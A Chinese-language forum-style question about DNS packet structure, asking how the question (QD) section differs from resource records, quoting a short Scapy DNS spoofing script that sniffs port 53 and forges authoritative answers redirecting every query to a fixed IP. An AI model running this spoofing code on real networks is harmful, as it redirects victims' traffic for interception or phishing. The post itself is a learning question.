我知道资源记录部分的结构,它是这样的:
enter image description here
但是当我阅读dns欺骗插件的源代码时,我完全迷失了方向:
from scapy.all import *
def dns_spoof(pkt):
redirect_to = '172.16.1.63'
if pkt.haslayer(DNSQR): # DNS question record
spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa = 1, qr=1, \
an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=redirect_to))
send(spoofed_pkt)
print 'Sent:', spoofed_pkt.summary()
sniff(filter='udp port 53', iface='wlan0', store=0, prn=dns_spoof)
QD和RRs之间有什么区别?为什么我们必须在这个数据包中使用QD?